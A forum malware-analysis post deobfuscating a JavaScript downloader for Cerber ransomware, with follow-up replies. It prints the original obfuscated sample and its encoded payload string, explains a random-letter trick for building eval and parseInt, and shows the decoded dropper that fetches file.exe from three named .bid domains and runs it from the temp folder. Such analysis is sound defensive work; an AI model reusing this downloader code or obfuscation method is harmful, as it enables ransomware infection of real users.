Malware analysis Deobfuscation based on a random method to get 2 x working js methods - js/donwloader - cerber

DardiM

Level 26
Verified
Trusted
Malware Hunter
May 14, 2016
1,597
From https://malwaretips.com/threads/11-11-2016-11.65387/
Thanks to @silversurfer

90.js

12 / 54
https://www.hybrid-analysis.com/sam...c390eb8fc2fb876403bdb53ed63?environmentId=100

Why this sample ?

- only for the deobfuscation method used : first time I see it :)

1) What It looks like :

1-1 ) Remember :

Very often, the first visible obfuscated part is composed of

- fuctions to make partial/elaborate actions
- variables : string or array of string : all obfuscated data that will be manipulated by techniques/functions, to become deobfuscated and then represent the real String to be evaluate (run) that will do the real bad job it the script.​

Examples :

fonction tavc ( val){
Var resulstat = "";
For (index = 0 ; index >content.length; index++){
resultat = resultant + content.
substr(index,2) ^ 78
}
return resultat;
}

Entry point :
Var content : "fsfsfsdeSLLTLoopdpomù!!SLTLSdsvxvxaeFV:d:STsaazeaLTSLTs"; => Var OBFUSCATED

eval
(tavc())

=> tavc() : will can the function that will return at the end the string deobfuscate

=> if the string received contains for example "25+45"
=> eval( "25+45")

=> 80
Most of scripts use similar methods to deobfuscated data, with a string containing the real instruction part. Using the eval() command with the deobfuscated string as parameter it allows to execute the content of the string.

Example : eval("35+35") : 35 + 35 = 70
1-2 ) Let's look at the current script :
function kwii()
{

var isqu=new Array("p","r","s","e");
return isqu[Math.floor(Math.random()*isqu.length)];
}
function xdbd(knku)
{


return (
new Function("rmrw","yxmu","var zbdv=rmrw.match(/\\S{5}/g), nxxz=\"\", wznt=0; while(wznt<cbdv.length) nxxz+=String.fromCharCode("+kwii() + "a" + kwii() +kwii() +kwii() + "Int(cbdv[wznt].substr(3,2),16)^78); wznt++; } return " + kwii() + "val(nxxz);"
)
(knku,0));
}

function nash(szby)
{

var ucln;
for(var zayv=0;zayv<1;zayv++)

{
try
{

ucln=xdbd(szby);
zayv++;
}
catch(ppnt)
{

zayv--;
}
}
return ucln;
}


function fnad()
{

var rysi= "GeT28cIK3bVuL20eJV2deeA3aV8U27Hx521er920qAL6eCy429P^y2bjhB3aipe0a^d12fBhe3aOoa2fh4G08z7^3cQ8A21l^_23cUM1bOMf3cY7U22H6166H1j3b_TO"+ "3chBD22toZ62rG_6eK9M2dHbR2fFqW22ySI22HvD2cJiF2fayj2dCbs25OET67WIj35mxm3aby53cr_t37O5_35kKx38tRS2fXH^3cgOb6eUa836dJG23Ppi22sSv06h"+
"Hc3aWlm3aQDh3eML26eSOJ73SMv6esmK20kHU2buzM39cUO6eVNv0fczN2dMNP3alVm27zRy38apr2bSvF16RLQ01s_22cpfO24CiY2bxU72dkE43awMM66YaQ6cLbX0"+ "3wth1dKDy16zMr03c9Q02t1K7cFgc60ZO716VA503Xph02b8V06k091aDNX1aMaL1epP^6cFH^67Yng75tf536piH23f9722OWr06RVf3aATa3aTWT3ebDd60vc021v5"+ "I3eJ042bXsa20PWz66Gt36c_FN09lzW0bP3q1ahzB6cOXj62Joc6en5Y3bWN^3cLEQ22hdH62ksW6egU328Xs62fwRn22Nuj3dz3P2bXcG67W^A75WJa36t7I23Ck122"+ "mOI06Wm13aYQT3auvC3eRXN60fSk3deuk2bHDy20tKd2aHAF66Jex67mO275moW27uj728qM_6eMrA66cu_36L2S23r8W22vXp06aUv3aP9e3aARx3egSX60xDK3dzP4"+ "3at7p2frBa3aK^k3bcja3dSE^6esu973cND73Crc6eHEy7cIMM7eA347e_7_67hV_6eFpg35e1_3cery2bpEw3aNch3bvi^3cPXN20Im^6eAb72dPJ12fImp22qEp22^"+ "Yb2cdK82fcDR2dKwX25JLD66Gxp36F0K23LHY22Zke06ikH3anjl3a_To3ey3460DLy1cUY62bzgQ3dA8P3eWNb21oGN20lBf3digG2bUdk0cClx21Nqa2aoD_37f8d6"+ "2LHx6eEpj28ezr2f^H922zNv3donZ2bYka67rdx75cvy33zFf2bDWq22a8z3dI0B2bL0A35MvI3cnUt2bkyY3aOp^3buPv3cz5i20FGL6eV_M2dzW82fhji22qfF22SJ"+ "l2cB0I2fTG^2dRVO25roF66l2m20aVb3boi822gQn22RWC62koP6eGeZ3abDU3cbpW3bifZ2bBOX67mCH75^4633uaY33PZy2dReb2fgNA3aigx2dKKG26x_06efXL66"+ "idS2bMdG3cwx83cS8^21NIw3cnN867p5v35PZs3cbup2bYve3abYm3bpEC3c_Tf20tac6eruq2dfP82fzCw22Xm422a_p2cWQH2fD1z2dgw425o0O66Rt220epi3bsn^"+ "22kVX22WFk62T_j6eXc^3aAe^3cizq3baRa2bVqm67BeL75ajh33pAp33ry628WG43bNYn20BsS2dBze3atUJ27cm_21Mzw20KYE6eaKs29WVQ2bYjf3aOd10aaus2fN"+ "qH3auuz2fNY166NWx2dug92fDWM22e6Z22IIo2c_aT2f^vX2dkk425imp67UcM35Ijm3aynN3csyb37poR35eCo29kXE2bMZ73aZen0aBs62fsNW3apm12fFYn08AZG3"+ "cs4521L7_23ukZ1bFgA3cZyB22x0u66nfe6cemD26eoj3aYMo3axws3en^k74b8Z61hKu61wIc39M4T21sv13cvmm22pEK2aYwH20Xm_2ba1_39Ol628WSB2fGDE3cfP"+ "Y23CVq2fCaP2dbcp37g6c60rN42cw0527qGb2ayou61w3228OoA27hqT22n3M2boxz3dmSn61_Hc28wKT27yKk22INP2bCMD60VE32bIXr36fsy2bscP6cAMl62sNy6e"+ "S_628k5B3bGOZ20mQK2ddzk3ag5a27maY21Dn920br766Cj33cu812bal63durF3b^Id22LCH3afqX62TTr6esdS2blFM3cnYf3cQFc21W_B3cU7967x7J6eFVP35RqX"+ "27vAb28OBZ6exiY66kSo6fSt52baS33cud03cfAy21rz03cJ^a67Pj335p4_3ceku2bSD^3a^zt3brYM3cyDa20f246eQ6v2dOZv2f_nB22qP_22_Fh2cdz02fslR2db"+ "vu25cR166FZ33cHd82bg^^3dJMn3bD_y22AN23atwx62dhB6eZKk28yt32fuMC22iAu3dg1u2bgGt67Kce75ew933rua2bRcP22msn3dVkF2bNnA35ZOz29yMz2bzty3"+ "aT2S0aH5V2fV9w3asUU2fN9^08m2k3cf__21_JU23bVR1bVuK3ciKZ22CEB66Kc56c_PA26OYZ3aO8C3ardZ3ewsI74SDW61jYL61iGO20qIo2bNxG39qzv28F602fUA"+ "u3cQGR23zHN2fecP2dOHf37QN039pMK21nCa3cfVF22GYZ2aVuW60oDf2cH8w27DqI2avGx61Hik28Nlg27HCo22t0e2bXXL3dFF761kBL28SIM27Ch822TJV2bwWw60"+ "nbR2bZob36igU2bkyn6cpMa62goy6eu^B28tZa3bsk920uzA2djVu3aBDm27bCB21ytq20Oh966MUj3caGj2buZi3dn5O3bYe022kc53aYjK62uLA6eeNN2bsWs3cln1"+ "3cHAG21pLY3cnpA67iCB6ehrk35zGK27aBI28B_T6eCer66snS6fspx2bqxs3cPBY3cc5n21kfD3cGAm67YBx35gLz3cVAY2byNw3aZqc3bkq_3cPKC20jt_6eXmd2dI"+ "p62fpX122P0Z22y3W2cG0b2fN^O2dvaL25c^O66joV3cg0x2bIFF3dSNY3bDEH22TPL3aoz^62Ah_6ezJp28dro2fBvW22ZGA3djjc2bt8l67FJ375EgS33xne2bzrW2"+ "2lWh3dOJR2bNA835WQV29fZa2bFNk3apIy0asrT2fMWq3aiMg2fFp_08iNG3cGXb21Ch623JTM1byfV3cEmW22HDH66cPh6cYLd26_WY3aNPE3aFzc3efsX74l8b61jt"+ "X61sSl29Kbe21UBC21qcD2azzs20qh42bI9b39ygZ3e^P_27Q2e22xtN22L3z3dwYg60BYX2cA1d27q1S2arRX61YAu28nP_27br^22OEt2bYji3delV61bfQ28k3Q27"+ "A4Q22v9e2bjPB60RqT2bEWK36Etk2bGHL6cwLo62NoU6eWRP28roF3bOPC20Z1E2dHmF3ac6f27dRW21Afh20Egy66Kan3cmJ02baXk3dMn93bZg922n0O3admF62YGh"+ "6epzD2bY_03cLGz3czui21Qlq3cBjP67eu66eaPy35CNG27PnQ28eP26eKo166M8G6fvz42bSMv3cXXV3cTBq21P9X3cV1K67AUf35fP63chbg2bhxc3atXM3buQV3cO"+ "kH20R^S6eDYZ2dUnZ2fbrn22Kxu22VDF2cg3y2fH882dDyO25OX866bk83cp0F2bwSp3dVwb3bb^^22SXD3an0G62DVV6eLTq28Eu32fPOz22HZE3dRCd2bZHb67zyb7"+ "5zBh33uhn2bB7l22LB63d_zs2bq8335mXC3ctkH2bbiE3aMTL3bm1G3cC8w20v2o6eXLt2dMKI2fhLH22ksI22sj82cwKg2fOG22dQi225g9066nmw20Gk33bMfZ22OU"+ "A22n_462iez6eftp3aOL63cPsf3bARv2bL5467qJx75eFL33Bkv33OZx67A1I75iuC33bXD33Rn767VtA75c4G33n5E33N8g67J2H75jUI33JsI2dmcB2fxBJ3aixf2d"+ "dfW26_FY6eGtP66zwK2bGML3cRiv3cd4L21Bbs3cXXi67A2S35eu83cItX2bg^83a^do3bK7u3cAYb20pXQ6ewH62dxU_2fOs122xfu22Q^c2cxix2fQuJ2dJ5B25wSW"+ "66RVz20uNi3bsaB22aMu22adT62nLT6eMtC3avP03cfct3bpbM2bG5Z67seJ75Qj933vE733AHz28kup3bMeb20XRt2dqZA3ad4y27aHa21r2b20CvB6ewBn29uRs2bY"+ "BW3aCCG1acDj2bODo23z^s3eUe008Buq27b9U22xqE2bBor1efZ02fZD33aOqG26eHm66lqm67ADS35LI13a^993cPvo37fjQ35nUl38Uve2fO0d3cbr06e^mp28Rt53"+ "dj4D6ej3X73bOg6eFNH20jjx2bG1^39NU06eh7d0fb7C2dGY93aLNw27Yut38mIV2bXjZ16PPi01izo2cihN24gO42bI902dWXH3aOPD66Lp16ceFI1dMT72dLpJ3ctl"+ "i27zQI3ejLf3azzv27W_h20jE829rkj60rze08GjK27Zy922PaW2bNIq1dU^137_dz3dmZl3aCw42b^yx23coN01U3d2cbXW24TmV2boxE2dj6W3ak5N6cJmJ67dk^75"+ "hjt38GJb2fSkQ3ceLz6eOk13aRWc23oCW3eGtY08S1r27WyT22Wb42bFiZ00gMo2fZ1023hYW2bjrq6eJf573x7o6ewGp6cdpn12CJ412Nma6cKJo6eyYp65fNN6eLuq"+ "03q3b2ftjT3azlk26AOA60sQm3cgc72fYoB20CgW2apTb21uxF23hxJ66Kmy67bVO60XWg3aUGN21o4l1dfYA3apb83cGOD27hJt20r8O29CBy66ufq7dLtS78aKn67o"+ "^E60Yyy3dkjF3bbwz2cazo3dvbh3ayja3clnI66WdV7cfmD62JPS6exo^77ORj67c4W6eCy465oYQ6eTD^6cC7b60TRX2bQZk36fU92b^3k6c_I375c6638_Ms2fw8_3"+ "cIIS6eUmL3au8z23qEs3ebK^08TK327^HP22eeH2biwD1emrX2fnJm3aak826emt6eWmK73Z_U6eLmv28Xmp3dYEv60cAO09oeV2bwYS3aYKq1dSXP3eBhu2bGty2dv5"+ "H27NBd2fdbN22GVI08n4Z21z6b22tIf2afgy2b_pT3cd4Z66mxB7cgjZ67IYg6eThp65fLd6eurl3aOo923qmv3efbH08CSL27Hts22ScS2bT8h00MOG2ffBY23I4L2b"+ "rO075aOO3cSBr2bWJM3azWw3bSoI3cbLH20LHc6eI5k3agIx23ySq3efNL08MTG27o9R22uce2bjec1e^Ts2fJz03ah6r26DdC75azY33zPW2dsYt2fqHd3aIBL2dLt3"+ "26jrU6eO^966Jir2bq_m3cVq13cEbP21uSf3clSw67Sf735Rwa3cUcn2bg9b3acBH3bUBG3coJN20pdx6eCxr28fJN2fbvp22E5c3dXU^2bxB875Ba433DB_33Q6G28n"+ "u03bB0T20ihl2dtJM3axd227CeI21XWR20^cB6ewrZ3dqPN2fK0r38M5d2bYeS1awim21^UC1aqn72bShO23jgw3efjh66yk72arty2fgea3aUFb2flHG62VGz6eKH^2"+ "dBvh2fUJG22J5r22pwT2chtZ2fEc42dZ7K25zlY67odk35Uqy3aU6S3cqIm37KxR35qYG38PB22fEzb3cYoR6evY53erHk2fQjE3aF2O26m3f6eeKL73PLv6envk29m2"+ "X2bqRw3aI3K1aS7Y2biW423Gs63ebH808KLM27PvH22oMp2bYls1emlN2fP5_3aQF526iVU66aY^67g6H75xCY27lnq28iO86enom66JD13eFj52fDCK3aJ2S26nrh67"+ "nxx35gZf38BeV2ftsR3caGC6eGQU21Gp52cL1_24PH11dcut3aKPO3ch_Q2bPCD2fTM723aqX6etVz73GUD6eLcF20K0Q2bKmK39wdm6eDTb0fhok2deLh3ai3m27w9z"+ "38mX92bdPR16qvF01Ypa2cvsU24_4p2bQsW2dBgl3ajvx66XnR6ck2v0fnut0atuS01ZK40apug0cZrk60iPD1dDT93aoBY3cOGe2bg8r2fHWz23^UA6cFvm67JIJ75o"+ "v221UYS2czff24Qvp1do063aljr3cRwG2bqwl2fFVM23hOT60yZ001izG3eCJ02bfaU20RxJ66OJt67Zfj75IgE21r9v2cwjr24Pb51dKUn3aUnd3cGGI2bvs02fdM_2"+ "3nHd60CjS1amcZ37_bi3eawH2bg^x6eKW173osH6eZS97f^_675_kX21jpp2ceFH24VDa1dpNv3a^rc3cn152bmwh2fg2023c2860Q_n19xoL3cSsR27Qyf3aLkp2bkj"+ "b66KZn2aCdP2fhRS3av2D2fRvS67tC275NWf21T6E2cNC224dtl1dH2a3ahCU3cqwi2bFEo2fQ0H23dyO60fwo1eIAg21dUi3dfCc27SUb3aqMk27PME21NOr20ded6e"+ "ekE73GIF6ewpv7evnq75SG521acA2cDcI24iqY1dF7d3aMsn3cjf_2bV8U2fA0M23pQv60luo1dclF2fi0i38Lok2bm2b1aLML21zit08lqd27qKc22_152bmda66HDD"+ "3eRCV2fLPr3afet26H1e62Ogx6eXAY7csAx67DOc75HqK21tBE2cXxc24Hoe1d_nh3asah3ccNG2bCHv2fW2y23^AN60Qc70dkW322Blv21vrH3dIed2bqhU66vHE67a"+ "Uj75Dwk3cMwq2bVUU3aq^y3beVO3cTsC20zN66eDNc2dxfo2f_QM22ci022Lya2c^9^2fO9_2dVwC25YSt66Q7q3eYJ82frex3azw326kQa62nhm6eJgO28H2K2fGB12"+ "2OvD3dC1Z2beWO67oYX75P1433SsT2bwG222YQh3dgsk2by6d6euAZ35CEZ3cGYl2bbJ73akz83bxql3c^wy20qDJ6ev3q2dZ9y2fau_22e9W22BXy2cza42fnTv2dT1"+ "I25w1L66g2E20tkT3bdiF22Qx322mbw62ek46ehGf3aly^3cZJ13bEK12bx7267_wz75IkS33cVr33bfA2dUjq2fPPN3aw3e2dwC126wjL6ewGM66eF02bWhQ3cfGc3c"+ "ntL21aJi3clc^67hb235QmV3cWWs2bzR93akUC3bmwo3cek520RCo6ec582dAkR2fPP922SrI22IPu2cM5X2frhn2d_ZA25fB066kz420IZ93bGnm22zru22WCz62avw"+ "6enzy3aknT3cCvv3bUDk2bG6C67KPD75Bzp33mKv33Fsj29abB2bx_g3aIpV0afqk2fGDw3apvi2frp^66Ltz28iPo3bOlT20eT02d_183azTj27gZW21SRd20CHZ6eo"+ "Xw66oPj2aIK82fVxm3aEne2fAvr62KZK6es9P2bKKs3cpA93ceX121d2P3cOTm67Hm36ek6Q35ED527FQN28TG66egEV66UFT6fFJv2bG3n3cnIw3cqlA21eDH3cIiQ6"+ "7S1935OQB3dDKb2fOlp38gw82bJB01akgK21Whi1adz22be6p23IFa3eGjC66A9A2asDw2fW2d3aIHi2fH9U62UT56eXZb28VCE3babg20EiG2dvNV3aiqI27kUO21Ai"+ "v20M4Y6eIYi66Av93eah32fKEm3ap9K26_nG62CON6eT1E2bgOX3cHTB3cvuQ21SB63cL8c67XV66eb7t35g5D27eNl28^vz6eUF066mmG6fvM32b^YM3ctx63cTd121"+ "PG73cC4q67O7835t6T3aRIh3cSqN37mQV35WmQ38mT42fTej3cYLe6eSAy39Xds3d_kk26U_76eqUi73M9K6eCYh20n932bWPy39Bo66ey_H0flJq2dAHE3ayhQ27shy"+
"38Qdg2bkt316FIq01HwZ2c^6024te92bVnM2drtD3aPs066dmm6cm3V19Xd01dV6J2drK13cNK727tBo3esJK3aoX560Bnh1dtFN26Oy_2bR7s22S^j22E4u6cR_667O"+ "5175NiK39HlP3dZfy26dl160p5u1coTf3bQsf20VZk66ohj3ef3x2fg_D3ayDe26KWQ67eJ175r1633kqP2dSU42frQV3aQAa2dV_f26xys6eis766l0I2bVev3cVuv3"+ "c^WI21Sos3cGdV67PLT6e_DE35l9L33Sie33JEs33mvn67_hG75Qgg33p6U33WK167vcZ75";

return rysi;
}
nash(fnad());

1-3) Main difference from some other obfuscated scripts :
At the end of the obfuscated script, there are :

- nash(fnad())

=> not an eval(deobfuscated_text)
Questions :

- Where is the part that make the deobfuscation of the string
- Where is the eval part (that will run the deobfuscated content)

We will try to answer, beginning by the only directly called function :

- nash(fnad());
2) Let's deobfuscate it :

2-1) Following the different steps :

nash(fnad());

fnad() : received the obfuscated strings
Then nash() must do the deobuscation and eval part !!!
(1) function nash(szby) => szby : obfuscated_string
{
var ucln;
for(var zayv=0;zayv<1;zayv++)

{
try
{

ucln=xdbd(szby); (2)

zayv++;
}
catch(ppnt)
{

zayv--;

=> if an error is occurred : allows to stay on the For Loop

=> another attempt will be made
}
}
return ucln;
}
=> (2) ucln=xdbd(obfuscated_string);

=> A function is called with the whole obfusctated string as parameter
=> the deobfuscation can be done there !
=> (3) function xdbd(obfuscated_string)
{
return (
new Function("rmrw","yxmu","var zbdv=rmrw.match(/\\S{5}/g), nxxz=\"\", wznt=0; while(wznt<cbdv.length) nxxz+=String.fromCharCode("+kwii() + "a" + kwii() +kwii() +kwii() + "Int(cbdv[wznt].substr(3,2),16)^78); wznt++; } return " + kwii() + "val(nxxz);"
)(knku,0));
}
=> this function do stuff that can correspond to manipulations of an obfuscated string.
A call to this function return an anonymous function :

anonymous function (rmrw , yxmu){

var cbdv=rmrw.match(/\\S{5}/g),
=> return an array of string that match this pattern
=> the long obfuscated string is divided on an array of strings with 5 chars
nxxz="",
wznt=0;
while(wznt<cbdv.length)
=> LOOP
nxxz+=String.fromCharCode("+kwii() + "a" + kwii() +kwii() +kwii() + Int(cbdv[wznt].substr(3,2),16)^78);
wznt++;
} return " + kwii() + "val(nxxz);"
}

kwii() returns randomly a char between "p" "r" "s" "e"

function kwii()
{

var isqu=new Array("p","r","s","e");
return isqu[Math.floor(Math.random()*isqu.length)];
}
The problem is : at each call, the anonymous function that is built and used to deobfuscated the real content, and return / run the real part (once deobfuscated), can generate errors because this anonymous function is built with some parts that call the kwii() function (randomly give a char between : "p","r","s" "e")

It is easy to understand that two JavaScript methods, parseInt() an eval() have to be created using the kwii() parts. And each char returned has to be the good one, to make the whole anonymous function work.

kwii() + "a" + kwii() +kwii() +kwii() + Int(..);

=> must be parseInt(...)

return + kwii() + val(nxxz);

=> must be return eval(nxxz);
So it can take time before the script builds a completely working anonymous function, and successfully deobfuscates / runs the "hidden" part.
If the parts of the anonymous function have been created with bad values : when it reaches to one of this "unknown methods"
call, it will generate an error, intercepted by the catch in the function nash(), that will then retries (until a good anonymous function is built)
- some tests (we need parseInt and eval ):
  • saesrInt & pval
  • raeepInt & svap
  • sarrsInt & eval
  • rasseInt & sval
  • parspInt & rval
  • eaepeInt & sval
  • pasrsInt & pval
  • eaprsInt & val
  • etc ...
.a...int => parseInt
.val(nxxz) => eval(nxxz)

=> 4 x 4 x 4 x 4 x 4 = 4^5 = 1024 possibilities

To be able to deofuscated quickly the string : some modifications had to be made :

I decided to hard code the first important method : parseInt, and delete the eval part to obtain quickly a working anonymous function to retrieve the good deobfuscated string.

New anonymous function :

anonymous function (rmrw , yxmu){
var zbdv=rmrw.match(/\\S{5}/g),
=> return an array of string that match this pattern
=> the long obfuscated string is divided on a array of strings with 5 chars​
nxxz="",
wznt=0;
while(wznt<cbdv.length) => LOOP

nxxz+=String.fromCharCode(parseInt(cbdv[wznt].substr(3,2),16)^78);
wznt++;
} return nxxz;
}

now returns the real content

Some explanation of the deobfuscation :

In the LOOP While :

- var zbdv=rmrw.match(/\\S{5}/g), : array of strings with 5 chars
- String.fromCharCode(parseInt(cbdv[wznt]substr(3,2),16 ^78 : only keep the two last chars, as HEX, an make a ^78 (XOR with 78)

nxxz keeps the concatenation of all intermediate results

  • "GeT28" => 28 HEX => parseInt : 40 XOR 78 = 102 =>"f"
  • "cIK3b" => 3b HEX => parseInt : 59 XOR 78 = 117 => "u"
  • "VuL20" => 20 HEX => parseInt : 32 XOR 78 = 110 => "n"
  • "eJV2d" => 2d HEX => parseInt : 45 XOR 78 = 106 => "c"
  • etc,...
=> "function getDataFromUrl(url, callback) { ...

nash(fnad());

=> now this part is no more dangerous because it will not eval the result (remember that I removed the eval method on return part of the anonymous function )
=> I was then able to retrieve the "cookie" :)
2-2) To summarize / simplify :

In the script, two words are obfuscated (two JavaScript methods ).

To be able to make its job, the script will fail until it randomly writes these two right words, but taking randomly some letters from a set of 4 letters "p" , "r" , "s", "e" (each letter can be used several times)

?a???Int

solution :

=> parseInt
?val

solution :

=> eval
Inside a loop, the script "wins" if it successfully finds (randomly) all the right letters for the two words in one call

=> 1 in 1024 chance each time it tries

Then, it can deobfuscate the "hidden" part

3) Deobfuscated string : real malware part
Before some formatting

function getDataFromUrl(url, callback){try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) {return callback(xmlHttp.ResponseBody, false);}else{return callback(null, true);}}catch (error){return callback(null, true);}}function getData(callback){try{getDataFromUrl("http ://worldnewfarmacy.bid/files/file.exe", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http ://newfarmacyworld.bid/files/file.exe", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http ://goodnewpills.bid/files/file.exe", function(result, error) {if (!error){return callback(result, false);}else{return callback(null, true);}});}});}});}catch (error){return callback(null, true);}}function getTempFilePath(){try{var fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\\\\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;return tmpFilePath;}catch (error){return false;}}function saveToTemp(data, callback){try{var path = getTempFilePath();if (path){var objStream = new ActiveXObject("ADODB.Stream");objStream.Open();objStream.Type = 1;objStream.Write(data);objStream.Position = 0;objStream.SaveToFile(path, 2);objStream.Close();return callback(path, false);}else {return callback(null, true);}}catch (error){return callback(null, true);}}getData(function (data, error) {if (!error){saveToTemp(data, function (path, error) {if (!error){try{var wsh = new ActiveXObject("WScript.Shell");wsh.Run(path);}catch (error) {}}});}});

After some formatting :

// GET data from URL : return the ResponseBody => data
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new
ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.
open("GET", url, false);
xmlHttp.
send();
=> send the request
if (xmlHttp.status == 200) { => 200 if all ok
return callback(xmlHttp.ResponseBody, false);
else {
return callback(null, true);
}
} catch (error) {

return callback(null, true);
}
}

// URLs
function getData(callback) {
try {
getDataFromUrl("http ://worldnewfarmacy.bid/files/file.exe", function(result, error) {
if (!error) {

return callback(result, false);
} else {
getDataFromUrl("http ://newfarmacyworld.bid/files/file.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http ://goodnewpills.bid/files/file.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
return callback(null, true);
}
});
}
});
}
});
} catch (error) {
return callback(null, true);
}
}

function getTempFilePath() {

try {
var fs = new
ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\\\" + Math.
random().toString(36).substr(2, 9) + ".exe";

=> creates a 'random name' => keep 9 chars + ".exe"
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;

=> example : %TEMP%\\\\wx9xsnc87.exe
return tmpFilePath;
} catch (error) {

return false;
}
}

function saveToTemp(data, callback) {

try {
var path = getTempFilePath();
if (path) {

var objStream = new ActiveXObject("ADODB.Stream");

=> creates a Stream to receive the data
objStream.Open();
objStream.
Type = 1;
objStream.
Write(data);

=> write to the Stream the data (ResponseBody from http request)
objStream.Position = 0;
objStream.
SaveToFile(path, 2);

=> saves the Stream to a File using path
=> example : c:\Users\DardiM\AppData\Local\Temp\wx9xsnc87.exe

objStream.Close();
return callback(path, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}

Entry point :

getData(function(data, error) {

if (!error) {
saveToTemp(data, function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");

=> creates a Shell object
wsh.Run(path);

=> runs the payload
} catch (error) {}
}
});
}
});

Path :

GetData => getDataFromUrl : xmlHttp ("MSXML2.XMLHTTP")

- http ://worldnewfarmacy.bid/files/file.exe
- http ://newfarmacyworld.bid/files/file.exe
- http ://goodnewpills.bid/files/file.exe
=> saveToTemp : objStream ("ADODB.Stream")

=> getTempFilePath();

- fs = new ActiveXObject("Scripting.FileSystemObject");
=> %TEMP%\wx9xsnc87.exe => Random : 9 chars

C:\Users\DardiM\AppData\Local\Temp\wx9xsnc87.exe"
=> wsh = new ActiveXObject("WScript.Shell");

=> wsh.Run(path);
PAYLOAD : CERBER

4/57
- Antivirus scan for 761bd1ce9dac98f43f10bbdb24a20a5c142fda0eb7a80a626297da2dbee4fdd3 at 2016-11-13 09:34:58 UTC - VirusTotal
- https://www.hybrid-analysis.com/sam...a0eb7a80a626297da2dbee4fdd3?environmentId=100
 
Last edited:

DardiM

Level 26
Verified
Trusted
Malware Hunter
May 14, 2016
1,597
Brilliant work as always, you deserve a badge with the title "10th Dan Malware Analyst" :p :)
Lol thanks :)
Great, but this is like chinese to me :p
Lol :)

I added this below part in my first post, hope it will help :

"2-2) To summarize / simplify :

In the script, two words are obfuscated (two JavaScript methods ).

To be able to make its job, the script will fail until it randomly writes these two right words, but taking randomly some letters from a set of 4 letters "p" , "r" , "s", "e" (each letter can be used several times)

?a???Int

solution :

=> parseInt
?val

solution :

=> eval
Inside a loop, the script "wins" if it successfully finds (randomly) all the right letters for the two words in one call

=> 1 in 1024 chance each time it tries

Then, it can deobfuscate the "hidden" part"
 
Last edited:
Top